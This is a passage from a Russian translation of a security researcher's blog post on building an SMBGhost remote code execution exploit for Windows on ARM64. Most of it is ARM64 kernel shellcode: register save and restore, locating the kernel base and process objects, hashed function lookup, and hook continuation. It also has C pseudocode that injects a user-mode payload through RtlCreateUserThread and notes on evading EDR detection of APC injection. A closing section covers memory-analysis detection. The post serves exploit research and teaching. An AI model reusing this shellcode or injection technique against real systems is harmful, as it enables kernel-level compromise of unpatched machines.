contains 0060000084609F03 contains 006000008460AF03 contains 00C000009BC00F01 contains 0000000000000000
pfn 84609 -R--ADK--V pfn 8460a -R--ADK--V pfn 9bc00 -WX-ADK-LV LARGE PAGE pfn 9bc91
0: kd> dt nt!_MMPTE_HARDWARE FFFFF67B3E0037E0
+0x000 Valid : 0y1
+0x000 NotLargePage : 0y0
+0x000 CacheType : 0y00
+0x000 OsAvailable2 : 0y0
+0x000 NonSecure : 0y0
+0x000 Owner : 0y0
+0x000 NotDirty : 0y0
+0x000 Sharability : 0y11
+0x000 Accessed : 0y1
+0x000 NonGlobal : 0y1
+0x000 PageFrameNumber : 0y000000000000000010011011110000000000 (0x9bc00)
+0x000 reserved1 : 0y0000
+0x000 ContiguousBit : 0y0
+0x000 PrivilegedNoExecute : 0y0 // <=============== <3 <3 <3 <3 <3 <3
+0x000 UserNoExecute : 0y1
+0x000 Writable : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 PdeLocked : 0y0
+0x000 PdeContended : 0y0
+0x000 PxnTable : 0y0
+0x000 UxnTable : 0y0
+0x000 ApTable : 0y00
+0x000 NsTable : 0y0
Теневой стек
В ARM64 нет PUSHAD/POPAD - и даже нет никаких инструкций PUSH/POP, но нам все равно нужно очень аккуратно сохранять наши регистры, включая аргументы функций, которые передаются через регистры. Регистры из x0-x7 используются для передачи параметров, поскольку мы хотим правильно перенаправиться на исходный hal! HalpGic3RequestInterrupt, мы не хотим, чтобы они перезаписывались, поэтому, нам нужно что-то более общее, которое работает как PUSHAD/POPAD.
Bash:
Register Volatile? Role
x0 Volatile Parameter/scratch register 1, result register
x1-x7 Volatile Parameter/scratch register 2-8
x8-x15 Volatile Scratch registers.
x16-x17 Volatile Intra-procedure-call scratch registers
x18/xpr Non-volatile Platform register. Points to KPCR (Kernel mode), to TEB (User-mode). This should never be overwritten.
x19-x28 Non-volatile Scratch registers.
x29/fp Non-volatile Frame pointer. The frame pointer (x29) is required for compatibility with fast stack walking used by ETW and other services. It must point to the previous {x29, x30} pair on the stack.
x30/lr Non-volatile Link registers. This one is particularly important when hooking functions as it contains the original return address. It also gets overwritten each time we use a call instruction!
Обратите внимание, что в отличие от AArch32, счетчик программ (PC) и указатель стека (SP) не являются индексируемыми регистрами.
Короче говоря, нам нужно выделить пространство кадра в стеке (sp) - и сохранить все наши регистры внутри него, используя инструкции stp/str, и мы восстановим их, используя инструкции ldp/ldr.
PUSHAD
Код:
sub sp, sp, #S_FRAME_SIZE
stp x0, x1, [sp, #16 * 0]
stp x2, x3, [sp, #16 * 1]
stp x4, x5, [sp, #16 * 2]
stp x6, x7, [sp, #16 * 3]
stp x8, x9, [sp, #16 * 4]
stp x10, x11, [sp, #16 * 5]
stp x12, x13, [sp, #16 * 6]
stp x14, x15, [sp, #16 * 7]
stp x16, x17, [sp, #16 * 8]
stp xpr, x19, [sp, #16 * 9]
stp x20, x21, [sp, #16 * 10]
stp x22, x23, [sp, #16 * 11]
stp x24, x25, [sp, #16 * 12]
stp x26, x27, [sp, #16 * 13]
stp x28, x29, [sp, #16 * 14]
str lr, [sp, #16 * 15]
POPAD
Код:
ldp x0, x1, [sp, #16 * 0]
ldp x2, x3, [sp, #16 * 1]
ldp x4, x5, [sp, #16 * 2]
ldp x6, x7, [sp, #16 * 3]
ldp x8, x9, [sp, #16 * 4]
ldp x10, x11, [sp, #16 * 5]
ldp x12, x13, [sp, #16 * 6]
ldp x14, x15, [sp, #16 * 7]
ldp x16, x17, [sp, #16 * 8]
ldp xpr, x19, [sp, #16 * 9]
ldp x20, x21, [sp, #16 * 10]
ldp x22, x23, [sp, #16 * 11]
ldp x24, x25, [sp, #16 * 12]
ldp x26, x27, [sp, #16 * 13]
ldp x28, x29, [sp, #16 * 14]
ldr lr, [sp, #16 * 15]
add sp, sp, #S_FRAME_SIZE
Доступ к PCR
x18 или xpr указывает на KPCR для текущего процессора в режиме ядра и указывает на TEB в пользовательском режиме. Это позволяет нам получить адрес объекта System EPROCESS (GetPcr()→PsGetCurrentThread()→PsGetCurrentProcess())
Код:
ldr x8, [xpr, #0x988]; PsGetCurrentThread()
ldr x3, [x8, #ETHREAD_PROCESS_OFFSET] ; PsGetCurrentProcess()
add x0, x3, #EPROCESS_IMAGEFILENAME_OFFSET ; name
Базовый адрес Ntoskrnl
VBAR_EL1, регистр базового адреса вектора (EL1), содержит базовый адрес вектора для любого исключения, которое передается в EL1 (ядро), и этот базовый адрес вектора (nt!KiArm64ExceptionVectors) находится внутри ntoskrnl.exe. VBAR_EL1 инициализируется ntoskrnl!KiInitializeExceptionVectorTable. Также имеется векторный регистр базового адреса для EL2 и EL3. Брюс Данг написал прекрасную статью о диспетчеризации системных вызовов в Windows ARM64, в которой рассказывается, как VBAR_EL1 используется ядром Windows ARM64.
Как только мы получим адрес nt!KiArm64ExceptionVectors, мы можем просто пройтись по нему назад, пока не найдем заголовок файла MZ образа.
Код:
; Search for NTBase
mrs x4, VBAR_EL1
ldrh w8, [x4]
mov w9, #0x5A4D
cmp w8, w9
beq xxx_break_nt_base
xxx_loop_nt_base
sub x4, x4, #1, lsl#12
ldrh w8, [x4]
cmp w8, w9
bne xxx_loop_nt_base
Функции хеширования
Процессоры ARM64 имеют встроенные коды операций CRC32, которые можно использовать для буферов хеширования, это неплохо, и я решил использовать crc32b для моей реализации GetProcAddress.
Код:
xxxComputeHash PROC
mov x9, x0
ldrsb w8, [x9]
mov w0, #0
mov w10, #0
cbz w8, xxx_compute_hash_exit
xxx_compute_hash_loop
add w10, w10, #1
crc32b w0, w0, w8
ldrsb w8, [x9,w10,sxtw]
cbnz w8, xxx_compute_hash_loop
xxx_compute_hash_exit
ret
ENDP
Fool me once, shame on you; fool me twice…
В отличие от других шеллкодов ядра, которые используют APC (асинхронный вызов процедур) дважды, я использую его только один раз для запуска APC ядра, но не для полезной нагрузки в пользовательском пространстве. В прошлом году Сухайль Хамму сообщил, что ATP в Защитнике Windows (и, вероятно, все другие EDR, основанные на событиях ETW ...) обнаруживает внедрение APC в пользовательском режиме из режима ядра, а hugeh0ge также упомянул, что пользовательская среда Control Flow Guard (CFG) перехватывает вызовы через ntdll!KiUserApcDispatch->ntdll! LdrpValidateUserCallTarget перед выполнением любого введенного APC шелл-кода. Это потребует от нас патча ntdll!LdrpValidateUserCallTarget для успешного выполнения.
В прошлом году я писал о том (https://www.comae.com/posts/2019-04-24_how-to-solve-the-blindspots-of-event-driven-detection/), почему обнаружение, управляемое событиями (большинство EDR), имеет слепые пятна, рассматривая технику внедрения кода APC в качестве примера. Вот хронология событий с того момента, когда Барнаби Джек впервые опубликовал ее на BlackHat 2005.
Но угадайте, что ядро Windows 10 экспортирует RtlCreateUserThread(), который позволяет вам делать именно то, что он делает. Параметры точно такие же, как и его версия ntdll, которая будет работать как секция псевдокода ниже. Хотя это и не освещено в последнем сообщении zerosum0x0, я приглашаю вас прочитать его последнее сообщение в блоге об известных побегах с помощью ring0, поскольку оно дает отличный исторический контекст известных в настоящее время методов и почему замечательно, что RtlCreateUserThread экспортируется и отлично работает
C:
m_CurrentIrql = KeGetCurrentIrql()
m_KfLowerIrql(PASSIVE_LEVEL)
m_KeStackAttachProcess((PVOID)m_EProcessObject, &m_KAPC);
m_UserAddress = NULL;
m_UserModePayloadSize = 0x1000;
if (NT_SUCCESS(m_ZwAllocateVirtualMemory((HANDLE)-1, &m_UserAddress, 0, &m_UserModePayloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE))) {
memcpy(m_UserAddress, UserModeShellcode, USERMODE_SHELLCODE_SIZE);
m_RtlCreateUserThread((HANDLE)-1, NULL, FALSE, 0, NULL, NULL, m_UserAddress, 0, &m_hThread, &m_ClientId);
}
m_KeUnstackDetachProcess(&m_KAPC);
m_KfRaiseIrql(KPCR->CurrentIrql)
Еще вы заметите, что я напрямую вызываю hal!KfLowerIrql и hal!KfRaiseIrql вместо жесткого кодирования изменений IRQL, как мы обычно наблюдаем с шелл-кодами x64 - это было чисто для того, чтобы иметь надежный шелл-код, и поскольку мы В любом случае, работая с hal, не имело смысла жестко кодировать его, хотя hal!KeGetCurrentIrql жестко запрограммирован, поскольку это простая функция. KeStackAttachProcess() позволяет нам использовать (HANDLE)-1 вместо того, чтобы выполнять дополнительные операции, такие как ZwOpenProcess(), для получения дескрипторов и т.д.
Несмотря на комментарии, отключение/включение прерываний это довольно просто, но для правильной работы полезной нагрузки ядра этого не требовалось.
Код:
;msr DAIFClr, #2 ; enable interrupts
(..)
;msr DAIFSet, #2 ; disable interrupts
Let’s go!
И после вызова нашего самодельного POPAD мы можем продолжить выполнение исходной функции.
Код:
; Continue the GIC Request Call
ldr x8, m_HalpGic3RequestInterrupt
br x8
ret
Userland
Благодаря нашему EL/ядру вызов nt!RtlCreateUserThread позвоялет нам теперь запускаем код в EL0.
Поиск функций работает аналогично полезной нагрузке ядра, где я также использую код операции crc32b, основное отличие состоит в том, что вместо чтения KPCR мы будем читать TEB для доступа к PEB и перечислять библиотеки DLL и находить базовый адрес kernel32.
Код:
GetK32Base PROC
mov x8, x18
ldr x19, [x8, #OFFSET_PEB]
ldr x19, [x19, #OFFSET_LDR_DATA]
ldr x19, [x19, #OFFSET_LOAD_ORDER]
ldr x19, [x19] ; NTDLL
ldr x19, [x19] ; KERNEL32
ldr x0, [x19, #OFFSET_DLL_BASE] ; Kernel32 Base
ret
GetK32Base ENDP
В остальном все работает так же, как и полезная нагрузка нашего ядра - теневой стек, поиск функции, выполнение вызовов … И бум, целевая машина не взорвалась, и просто появился калькулятор. Я не публиковал шелл-код обратной оболочки, так как цель состоит в том, чтобы сделать этот эксплойт и описание чисто образовательными.
Анализ памяти для обнаружения.
Криминалистика памяти мертва. Да здравствует анализ памяти. А как насчет обнаружения? Обнаружение в реальном времени не всегда безупречно, а реализация мер по защите - это эффективный, но долгосрочный процесс. Тем не менее, имплантаты ядра с постоянным ОЗУ не всегда легко обнаружить, и часто продолжают создаваться новые методы. Это одна из основных причин, по которой я настаивал на переосмыслении ведения журнала для критических ресурсов, чтобы иметь возможность обнаруживать такие полезные нагрузки в памяти, если вы архивируете образы памяти (в пригодном для использования формате файла, таком как аварийные дампы для Windows или ядро ELF для Linux. - Помните: сырые дампы - это глупые дампы и работают только на ваших воркошопах по Windows 7
Исследование адресов, не относящихся к KASLR, таких как KPCR, в Windows 7 (см. ETERNALBLUE), KSHARED_USER_DATA или даже страницы с включенным KASLR, но без защиты NX, такой как заголовки модулей ядра, как мы видели выше, является необходимостью, и поскольку структура и инструменты реагирования на инциденты отстают, слишком много внимания уделяя базовым вещам, таким как преобразование ИТ-инструментов в DFIR таких утилит, как osquery и т. д., будет сложно увидеть значительную эволюцию с точки зрения защиты. Например, мне определенно было больше удовольствия писать этот эксплойт, чем пытаться убедить людей, почему они должны прекратить использовать сырые дампы и использовать аварийные дампы Microsoft
Эксплойт
GitHub - msuiche/smbaloo
Contribute to msuiche/smbaloo development by creating an account on GitHub.
Список используемой литературы
- https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
- https://blog.zecops.com/vulnerabili...chaining-smbleed-cve-2020-1206-with-smbghost/
- https://github.com/chompie1337/SMBGhost_RCE_PoC
- https://thinkingeek.com/2017/05/29/exploring-aarch64-assembler-chapter-8/
- http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0801a/BABBDBAD.html
- https://developer.arm.com/docs/den0...ating-a-virtual-address-to-a-physical-address
- https://static.docs.arm.com/100940/0100/armv8_a_address translation_100940_0100_en.pdf
- https://developer.arm.com/docs/ddi0595/d/aarch64-system-registers/ttbr0_el1
- https://developer.arm.com/docs/den0...kernel-and-application-virtual-address-spaces
- https://static.docs.arm.com/ihi0069/c/IHI0069C_gic_architecture_specification.pdf
- http://bos.itdks.com/855dbb545f004e9da1c603f3bcc0a917.pdf
- https://gracefulbits.com/2018/07/26/system-call-dispatching-for-windows-on-arm64/
- https://docs.microsoft.com/en-us/cpp/build/arm64-windows-abi-conventions?view=vs-2019
- https://wbenny.github.io/2018/10/16/kdnet-over-usb.html
- https://zerosum0x0.blogspot.com/2020/06/heresys-gate-kernel-zwntdll-scraping.htm
- https://www.comae.com/posts/2019-04-24_how-to-solve-the-blindspots-of-event-driven-detection/
- http://rce4fun.blogspot.com/2019/04/circumventing-windows-defender-atps.html
Автор перевода: yashechka
Источник: https://www.comae.com/posts/smbaloo-building-a-rce-exploit-for-windows-arm64-smbghost-edition/